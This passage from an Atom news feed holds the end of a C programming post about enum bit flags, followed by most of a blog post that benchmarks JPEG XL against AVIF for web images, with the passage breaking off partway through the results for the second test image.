    OPT_AUTOSCROLL &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    OPT_NOCURSOR   &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    OPT_CENTERED   &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    OPT_NOCLOSE    &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-enum syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It compiles! We shoot. We score. We stick with C23.&lt;/p&gt;
&lt;h2&gt;Epilogue&lt;/h2&gt;
&lt;p&gt;In part two of our mini series I’ll discuss three more conventions that I’ve fleshed out thanks to modern C: starting with safer macro usage (forgive me Zig folks.)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;P.S. If you want to shape this discussion &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://handmadecities.com/chat&quot;&gt;maybe join&lt;/a&gt; the Handmade Cities server!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;-Abner&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:e714ae7efb2f40af50623b81040863d109b78a66</id>
    <title type="text">JPEG XL vs AVIF for web use-cases</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-15-jpeg-xl-vs-avif-for-web-use-cases/"/>
    <link rel="via" type="text/html" href="https://jakearchibald.com/2026/jpeg-xl-vs-avif/"/>
    <published>2026-10-15T14:42:45+00:00</published>
    <updated>2026-10-15T14:42:45+00:00</updated>
    <author>
      <name>jakearchibald.com by jaffathecake</name>
    </author>
    <category term="news"/>
    <category term="compsci"/>
    <category term="web"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;JPEG XL has now landed in all major browsers, so I figured I&#39;d take a closer look at what it&#39;s good/bad at compared to other formats.&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#conclusions&quot;&gt;Conclusions&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I&#39;ll go into full detail, with examples and benchmarks, but for those of you who don&#39;t have the time, here are the headlines:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For lossy photos on the web, AVIF almost always produces smaller files than JPEG XL.&lt;/strong&gt; At default effort settings, the best JPEG XL version is typically 15–25% larger than the equivalent AVIF. At maximum effort settings, the gap narrows a little, to typically 6–20%. There are outliers, where JPEG XL is close to, or even beats AVIF, so if you want the absolute best result for a particular image, it&#39;s worth trying both. See the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---f1-image&quot;&gt;F1 image&lt;/a&gt; for a typical example, and the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---weasel&quot;&gt;weasel&lt;/a&gt; for an outlier.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The JPEG XL encoder matters a lot.&lt;/strong&gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/awxkee/jixel&quot;&gt;jixel&lt;/a&gt;, a newer JPEG XL encoder, usually produces smaller files than &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/libjxl/libjxl&quot;&gt;libjxl&lt;/a&gt;, except when the image has detailed transparency. However, there are cases where jixel appears to &#39;game&#39; the metric, and clearly produces a worse result visually. See the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---f1-image&quot;&gt;F1 image&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---illustration&quot;&gt;illustration&lt;/a&gt; examples.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For screenshots and illustrations, AVIF is much better than JPEG XL.&lt;/strong&gt; The equivalent JPEG XL is 30–90% larger at default effort settings, and 20–70% larger at maximum effort settings. Lossy AVIF handles these well - you don&#39;t need to use lossless formats unless you really need bit-exact results. See the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---screenshot&quot;&gt;screenshot&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---illustration&quot;&gt;illustration&lt;/a&gt; examples.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For images with transparency, AVIF is much better than JPEG XL.&lt;/strong&gt; The libjxl version is 31–44% larger at default effort settings, and 61–70% larger at maximum effort settings. jixel always encodes transparency losslessly, which makes its files 2–3x the size of AVIF&#39;s. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---alpha&quot;&gt;See the data&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AVIF is generally faster to encode, and uses less memory, when you factor in file size.&lt;/strong&gt; jixel is faster than AVIF and uses less memory, but its files are typically significantly larger, so AVIF is better on balance. See the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---f1-image&quot;&gt;F1 image&lt;/a&gt; for one example.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AVIF is faster to decode.&lt;/strong&gt; JPEG XL typically takes 2–3x as long to decode at medium quality, but the gap narrows at very high qualities, where Chrome can sometimes decode JPEG XL faster. The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---people&quot;&gt;people image&lt;/a&gt; is one example.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Higher effort settings are worth it for AVIF and jixel, but not libjxl.&lt;/strong&gt; libjxl&#39;s higher efforts are much slower, use a lot more memory, and barely improve the result. Sometimes they produce larger files than the default effort. The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---screenshot&quot;&gt;screenshot&lt;/a&gt; is an example of this.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AVIF&#39;s 4:2:0 mode (half colour resolution) shouldn&#39;t be your default.&lt;/strong&gt; It rarely reduces file size, and it makes higher qualities harder to reach. Although, it is quicker to encode and decode. Stick with 4:4:4 if you don&#39;t have time to check both. The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---f1-image&quot;&gt;F1 image&lt;/a&gt; is one example, and the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---screenshot&quot;&gt;screenshot&lt;/a&gt; is an exception.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quality settings are reliable for all the encoders.&lt;/strong&gt; With a single quality setting, the resulting quality varies a bit between images, but all the encoders vary in the same direction, and in ways that seem reasonable. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#quality-stability&quot;&gt;See the data&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Progressive JPEG XL is basically free at high effort.&lt;/strong&gt; jixel recently added support for early progressive previews, and at its slowest setting they cost little or nothing, but at its default setting the files are 12% bigger. Firefox and Chrome support progressive JPEG XL. Safari still renders the final image, but doesn&#39;t show progressive previews. However, is this type of progressive rendering a good user experience? &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#progressive&quot;&gt;See the examples and data&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AVIF supports progressive rendering!&lt;/strong&gt; It&#39;s Chrome-only for now, but it&#39;s in progress for Firefox. It&#39;s more complex than progressive JPEG XL, but it gives you more control over what the preview looks like, the files are usually smaller, and they&#39;re much faster to decode. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#progressive&quot;&gt;See for yourself&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For HDR, JPEG XL lacks gain maps, which is a significant limitation compared to AVIF.&lt;/strong&gt; The JPEG XL format supports gain maps, but they aren&#39;t supported by browser decoders, and the encoding story is messy/experimental. When comparing non-gain mapped HDR content, the two quality metrics I used disagree a lot, but they agree that JPEG XL produces smaller files compared to AVIF. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---hdr&quot;&gt;See the examples&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JPEG XL can make existing JPEGs 9–20% smaller, without further loss.&lt;/strong&gt; It&#39;s also as fast or faster to decode, except for small images. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#jpeg-transcoding&quot;&gt;See the data&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For lossless, JPEG XL is the clear winner.&lt;/strong&gt; Lossless WebP is 9–17% larger for photos, and lossless AVIF is 30–120% larger. But lossless images are almost never what you want on the web. If you do use them on the web (like I do on this page), watch out for jixel&#39;s higher efforts - it often produces files that are too slow to decode. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossless&quot;&gt;See the data&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Animated image formats continue to be a dumb idea.&lt;/strong&gt; Please don&#39;t use them. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#animation&quot;&gt;Learn more&lt;/a&gt;, if you must.&lt;/p&gt;
&lt;p&gt;For web use-cases, I&#39;d currently default to AVIF 4:4:4, with the highest effort level I can be bothered with. If I felt AVIF was producing an unusually large file, I&#39;d take a look at JPEG XL via jixel, and see if it did better.&lt;/p&gt;
&lt;p&gt;Both AVIF and JPEG XL (via jixel) have seen massive improvements recently, so it&#39;s possible that this recommendation could change in future. There&#39;s been a lot of misinformation around this stuff, and your AI will happily deliver that misinformation to you. Instead, test things with your own images.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://giannirosato.com/blog/post/case-against-jxl/&quot;&gt;AVIF folks suggest&lt;/a&gt; that JPEG XL is technically limited compared to AVIF. That might be true, but in this article I&#39;m focusing on results with today&#39;s implementations.&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#methodology&quot;&gt;Methodology&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I &#39;created&#39; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/jakearchibald/image-codec-bench&quot;&gt;a benchmarking script&lt;/a&gt;, that encodes images using various codecs at various settings, and records various details.&lt;/p&gt;
&lt;p&gt;I&#39;m using the latest released versions of the image codecs, which at time of writing is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/aomediacodec/libavif&quot;&gt;avifenc&lt;/a&gt; 1.4.2&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/libjxl/libjxl&quot;&gt;libjxl&lt;/a&gt; 0.12.0 (using its &lt;code&gt;cjxl&lt;/code&gt; encoder)&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/awxkee/jixel&quot;&gt;jixel&lt;/a&gt; 0.4.2 (git &lt;code&gt;f487299&lt;/code&gt;), a second JPEG XL encoder&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://chromium.googlesource.com/webm/libwebp/&quot;&gt;cwebp&lt;/a&gt; 1.6.0 (lossless WebP is used later in the article)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I chose a selection of images, and encoded most of them to a width of 1598 pixels - which is 2x the maximum width images appear on this blog. This means they &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2021/serving-sharp-images-to-high-density-screens/&quot;&gt;look sharp on high density displays&lt;/a&gt;, which most users have. As a result, if you&#39;re viewing this on a small or low density screen, you&#39;re not getting the full experience.&lt;/p&gt;
&lt;p&gt;I ran these benchmarks on my 2024 MacBook Pro (M4 Pro).&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---f1-image&quot;&gt;Lossy - F1 image&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When I &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2020/avif-has-landed/&quot;&gt;first wrote about AVIF&lt;/a&gt;, I used an F1 car as the first image, so I figured I&#39;d do that again!&lt;/p&gt;
&lt;p&gt;I encoded the image at various codec qualities, and chose versions that were closest to particular &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/cloudinary/ssimulacra2&quot;&gt;SSIMULACRA2&lt;/a&gt; scores - a perceptual image quality metric by the folks behind JPEG XL. 50 is considered medium quality, 70 high, 80 very high, and 90 visually lossless. Although, I&#39;m not sure if these ratings take high density displays into account.&lt;/p&gt;
&lt;p&gt;Throughout the article, the visual comparisons, like above, use each encoder&#39;s maximum effort, except in cases where maximum effort results in a larger file (yes, that happens).&lt;/p&gt;
&lt;p&gt;For archival, I&#39;d tend towards near-lossless qualities, but if I&#39;m just displaying an illustrative image on my blog, performance is more important to me. I&#39;m personally happy with the 70 result above. If you zoom in, you can see the quality loss, but if I was really concerned about the zoom-in case, I&#39;d use something like the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/VisualViewport&quot;&gt;&lt;code&gt;VisualViewport&lt;/code&gt; API&lt;/a&gt; to load in a higher resolution image when that happens, rather than make the download bigger for everyone.&lt;/p&gt;
&lt;p&gt;At lower qualities you can see the difference in strategy between the codecs. The detail loss is around the same, but AVIF tends to smooth things out compared to the original, whereas JPEG XL seems to introduce rougher patterns.&lt;/p&gt;
&lt;p&gt;Also, I feel that, at medium quality (50), the AVIF and libjxl look better than the jixel version. The jixel version has a lot of visible noise around the BWT logo, and the Microsoft text on the front wing is way less legible. It makes me wonder about the metric a bit.&lt;/p&gt;
&lt;p&gt;Anyway, here&#39;s my interpretation of the results:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: AVIF wins.&lt;/strong&gt; At default efforts, the best JPEG XL image is 14–17% larger than the AVIF image for the same quality. jixel is the better JPEG XL encoder at medium/high quality, and libjxl is slightly better at very high quality. At maximum efforts, the best JPEG XL image (jixel &#39;extraslow&#39;) is 6–15% larger than AVIF (s0).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel at its slowest setting slightly beats AVIF&#39;s default effort&lt;/strong&gt;, with files 1–10% smaller. The biggest gain is at very high quality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: AVIF wins.&lt;/strong&gt; At default efforts, jixel is 12–36% faster than AVIF, but its files are 14–18% larger. To match the file size of AVIF&#39;s default, jixel needs its &#39;extraslow&#39; setting, which takes 18–27x as long as AVIF. libjxl&#39;s default takes 1.5–2x as long as AVIF&#39;s default, and still produces bigger files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: AVIF wins.&lt;/strong&gt; At default efforts, jixel uses around half the memory of AVIF, but again, its files are 14–18% larger. To match the file size of AVIF&#39;s default, jixel &#39;extraslow&#39; uses ~10x the memory. libjxl&#39;s default uses 2–3x the memory of AVIF, and its higher efforts use ~7x.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins.&lt;/strong&gt; JPEG XL takes 2–3x as long to decode at medium quality, narrowing to ~1.5–1.8x at very high quality. Safari&#39;s JPEG XL decoder is the slowest.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for AVIF.&lt;/strong&gt; AVIF&#39;s s5 gets you ~10% smaller files for ~3x the encode time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for jixel too, up to &#39;slow&#39;.&lt;/strong&gt; &#39;slow&#39; gets you 9–13% smaller files than its default &#39;fast&#39;, for ~3.7x the encode time. &#39;extraslow&#39; saves another 3–8%, but takes ~8x longer than &#39;slow&#39; and uses ~9x the memory. Even so, AVIF still wins when given the same encode time: AVIF s5 takes about as long as jixel &#39;slow&#39;, and its files are ~13% smaller.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort isn&#39;t worth it for libjxl.&lt;/strong&gt; libjxl&#39;s maximum effort is barely any better than its default, but takes ~18x longer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AVIF&#39;s 4:2:0 mode doesn&#39;t help much.&lt;/strong&gt; It&#39;s slightly faster to encode/decode, and uses less memory, but the files aren&#39;t meaningfully smaller, and it struggles to reach higher qualities.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here&#39;s the full data, so you can make up your own mind:&lt;/p&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Ok, let&#39;s get to our first graph, the SSIMULACRA2 scores:&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;There&#39;s going to be a lot of these graphs, so here&#39;s what&#39;s going on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The x-axis is visual quality&lt;/strong&gt; according to SSIMULACRA2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The y-axis is file size&lt;/strong&gt;. Lower is better, for a given visual quality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The orange lines represent JPEG XL encoded with libjxl.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The green lines represent JPEG XL encoded with jixel.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The blue lines represent AVIF.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The dashed blue lines represent AVIF with its color data at half resolution.&lt;/strong&gt; Known as 4:2:0, or chroma subsampling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The darker lines represent higher effort levels for that codec.&lt;/strong&gt; libjxl calls this &#39;effort&#39;, so the e10 line is the top effort. Annoyingly, avifenc calls this &#39;speed&#39;, so the s0 line is the top effort. jixel names its levels, from &#39;fast&#39; (its default) to &#39;extraslow&#39;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Only the default and maximum efforts are shown initially.&lt;/strong&gt; Click the legend to toggle the others.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here are the quality results using a different quality metric, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/gfxdisp/colorvideovdp&quot;&gt;ColorVideoVDP&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;ColorVideoVDP, JOD (10 = no visible difference)&lt;/p&gt;
&lt;p&gt;The result is roughly the same except this metric puts more of a gap between AVIF and the JPEG XL images.&lt;/p&gt;
&lt;p&gt;It also suggests there&#39;s some advantage to AVIF with 4:2:0 chroma subsampling at lower qualities, but it&#39;s minor.&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When it comes to images on my blog, I encode with maximum effort settings. I&#39;m happy to wait a couple of seconds to get an image that&#39;s faster to load for every user. However, if you&#39;re doing a lot of encoding on a server, encode time becomes more of a concern.&lt;/p&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Another thing that might be a concern if you&#39;re encoding images on a server is peak memory usage:&lt;/p&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;It&#39;s worth considering decoding performance. If decoding is particularly slow, then it might make the file size benefit less valuable, especially when images are loaded from a cache.&lt;/p&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;JPEG XL becomes suddenly faster to decode at very high quality settings (but still slower than AVIF). I think this is due to an edge preserving filter that does more work at lower quality settings.&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossy---people&quot;&gt;Lossy - people&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I&#39;ve heard people say that AVIF&#39;s tendency to smooth out details makes it bad for human faces, so I picked this image &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://unsplash.com/photos/two-smiling-women-looking-at-a-smartphone-together-_t15AWPJNmg&quot;&gt;from Unsplash&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The results of the benchmark for this image:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: AVIF wins.&lt;/strong&gt; At default efforts, the best JPEG XL image is 17–24% larger than the AVIF image for the same quality. jixel is the better JPEG XL encoder across the whole quality range this time. libjxl is 30–50% larger than AVIF, which is a much bigger gap than the F1 image. At maximum efforts, the best JPEG XL image (jixel &#39;extraslow&#39;) is 12–17% larger than AVIF (s0).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel at its slowest setting doesn&#39;t quite match AVIF&#39;s default effort&lt;/strong&gt; this time. It&#39;s a few percent larger at medium/high quality, and only edges ahead at very high quality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: AVIF wins.&lt;/strong&gt; At default efforts, jixel is 18–33% faster than AVIF, but its files are 17–24% larger. Even jixel&#39;s &#39;extraslow&#39; setting, which takes 25–39x as long as AVIF, only matches AVIF&#39;s default file size at very high quality. libjxl&#39;s default takes 1.5–2.2x as long as AVIF&#39;s default, and still produces bigger files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: AVIF wins.&lt;/strong&gt; At default efforts, jixel uses around half the memory of AVIF, but again, its files are 17–24% larger. jixel &#39;extraslow&#39; gets closest to AVIF&#39;s default file size, but uses ~10x the memory. libjxl&#39;s default uses 2–3.3x the memory of AVIF, and its higher efforts use ~7x.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins.&lt;/strong&gt; JPEG XL takes 2–2.9x as long to decode at medium quality, narrowing to ~1.3–1.7x at very high quality. At the very top of the quality range, libjxl images decode as fast as AVIF in Chrome, but not in the other browsers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for AVIF.&lt;/strong&gt; AVIF&#39;s s5 gets you 5–8% smaller files for ~3x the encode time. That&#39;s a smaller gain than the F1 image.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for jixel too, up to &#39;slow&#39;.&lt;/strong&gt; &#39;slow&#39; gets you 7–14% smaller files than its default &#39;fast&#39;, for ~3.9x the encode time. &#39;extraslow&#39; saves another 4–6%, but takes ~10x longer than &#39;slow&#39; and uses ~9x the memory. AVIF still wins when given the same encode time: AVIF s5 takes about as long as jixel &#39;slow&#39;, and its files are 8–17% smaller.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is somewhat worth it for libjxl on this image.&lt;/strong&gt; Unlike the F1 image, libjxl&#39;s maximum effort gets you 4–11% smaller files than its default. But it takes ~10x longer, and it still produces much bigger files than AVIF at its default effort.&lt;/li&gt;
